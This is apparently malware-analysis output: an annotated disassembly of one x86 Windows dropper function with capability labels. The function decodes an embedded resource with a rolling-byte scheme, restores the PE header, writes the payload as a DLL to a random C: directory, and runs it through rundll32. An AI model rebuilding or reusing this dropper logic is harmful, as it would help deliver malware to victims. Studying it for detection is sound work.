Function at 0x401a2d
Capabilities:
Create directory
Create process on windows
Create process suspended
Extract resource via kernel32 functions
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5a4
push ebx
push esi
push edi
push 0x4061f8
xor ebx, ebx
push 0x84
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
cmp edi, ebx
je 0x401a60
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
cmp esi, ebx
jne 0x401a67
xor eax, eax
jmp 0x401c65
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
push esi
call sub.MSVCRT.dll_memcpy
movzx eax, byte [esi]
mov dword [ebp - 8], eax
add esp, 0xc
movzx eax, byte [esi + 1]
xor edi, edi
cmp dword [ebp - 4], ebx
mov dword [ebp - 0xc], eax
jle 0x401ac9
mov eax, edi
push 3
cdq
pop ecx
idiv ecx
cmp edx, 2
jne 0x401aab
mov al, byte [ebp - 8]
sub byte [edi + esi], al
cmp edx, 1
jne 0x401ab6
mov al, byte [ebp - 0xc]
sub byte [edi + esi], al
cmp edx, ebx
jne 0x401ac3
mov al, byte [ebp - 0xc]
add al, byte [ebp - 8]
sub byte [edi + esi], al
inc edi
cmp edi, dword [ebp - 4]
jl 0x401a98
push 0x40
mov byte [esi], 0x4d
mov byte [esi + 1], 0x5a
pop ecx
xor eax, eax
lea edi, [ebp - 0x29f]
mov byte [ebp - 0x2a0], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x19b]
mov byte [ebp - 0x19c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x1b]
mov byte [ebp - 0x1c], bl
push 5
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x1c]
push eax
call fcn.0040174f
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x2a0]
push str.c:_s
push eax
call edi
add esp, 0x14
lea eax, [ebp - 0x2a0]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x10
lea eax, [ebp - 0x1c]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x1c]
push 5
push eax
call fcn.0040174f
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x2a0]
push eax
lea eax, [ebp - 0x19c]
push str._s_s.dll
push eax
call edi
add esp, 0x24
lea eax, [ebp - 0x19c]
push ebx
push 0x80
push 2
push ebx
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
lea eax, [ebp - 0x20]
push ebx
push eax
push dword [ebp - 4]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 8
mov esi, str.c:windows_system32_rundll32.exe
pop ecx
lea edi, [ebp - 0x98]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0x5a3]
mov byte [ebp - 0x5a4], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x3a3]
mov byte [ebp - 0x3a4], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x3a4]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x3a4]
push eax
lea eax, [ebp - 0x19c]
push eax
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0x5a4]
push str._s___s__QueryPluginInterface__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
xor eax, eax
lea edi, [ebp - 0x60]
push 0x10
pop ecx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x74]
mov dword [ebp - 0x64], 0x44
push eax
lea eax, [ebp - 0x64]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x5a4]
push ebx
push eax
push ebx
mov dword [ebp - 0x5c], str.WinSta0Default
mov word [ebp - 0x34], bx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret